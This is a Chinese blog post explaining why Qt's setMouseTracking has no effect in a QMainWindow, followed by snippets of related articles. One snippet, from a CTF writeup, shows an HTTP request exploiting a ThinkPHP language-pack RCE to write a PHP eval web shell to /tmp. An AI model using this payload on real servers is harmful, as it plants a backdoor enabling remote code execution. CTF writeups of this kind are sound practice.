setMouseTacking(true) 没有效果?

news/2024/11/23 0:25:04/

描述

一般来讲,我们希望实现在mouseMoveEvent中获取当前鼠标的位置,以触发一些自定义的鼠标hover特效。在这种情形下需要启动mouse tacking才能达到效果,原因是mouseMoveEvent默认是在鼠标按下后才会触发。>> QWidget::mouseMoveEvent | Qt Document

但是也有一些特殊情况,看上去我们已经启用了mouse tacking,但实际上并没有效果。
这是笔者碰到的一种情况,在QMainWindow中启用mouse tacking,但没有任何效果。
主要原因是由于QtDesigner生成的QMainWindow中centralWidget并没有设置相关的mouseMoveEvent, 同时mouseMoveEvent又被centralWidget接受了。

最好的解决办法还是直接在QWidget中使用,或者将QMainWindow的centralWidget取出来再加上相应的鼠标事件的监听。

参考链接

QMainWindow not tracking mouse with setMouseTracking() | StackOverflow


http://www.ppmy.cn/news/10483.html

相关文章

ArrayList | 简单的洗牌算法

一个洗牌程序需要包含: 创建一副扑克牌(除去大小王剩下52张,每种花色13张)。洗牌,打乱牌的顺序。揭牌,每位玩家轮流揭牌,从洗完后的牌组中获得自己的牌。因此,我们可以依照以下思路来…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

力扣sql入门篇(一)

力扣sql入门篇(一) 1 两人之间的通话天数 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 两个人之间的通话需要统计成一次 SELECT from_id person1,to_id person2,count(*) call_count,sum(duration) total_duration FROM Calls GROUP BY least(f…

Java之String概述、对象创建原理和常见面试题、String类常用API、案例

目录String、ArrayList前言String简单介绍Arraylist简单介绍String 概述String类的特点详解总结String类创建对象的两种方式两种方式有什么区别吗&#xff1f;总结String常见面试题String类常用API-字符串内容比较总结String类常用API-遍历、替换、截取、分割操作String案例验证…

Ansible 介绍与实战操作演示

文章目录一、概述二、Ansible 架构三、Ansible 工作原理四、Ansible 安装与基础配置1&#xff09;开启记录日志2&#xff09;去掉第一次连接ssh ask确认五、Ansible 的七个命令1&#xff09;ansible2&#xff09;ansible-doc3&#xff09;ansible-playbook4&#xff09;ansible…

数据库,计算机网络、操作系统刷题笔记28

数据库&#xff0c;计算机网络、操作系统刷题笔记28 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c;oracle…

AtCoder Beginner Contest 284.(A--E)

AtCoder Beginner Contest 284A - Sequence of Strings1、问题2、代码B - Multi Test Cases1、问题2、代码C - Count Connected Components1、问题&#xff1a;2、思路&#xff1a;——并查集、DFS3、代码方法1&#xff1a;并查集方法2&#xff1a;DFSD - Happy New Year 20231…

Apache Hive 使用

Apache Hive 使用使用beeline 连接Apache Hive查看数据库使用或进入数据库创建表查看数据表上传数据数据操纵语言&#xff08;DML&#xff09;查询语句函数数学函数条件函数) 使用beeline 连接Apache Hive /export/server/apache-hive-3.1.2-bin/bin/beelinebeeline> ! co…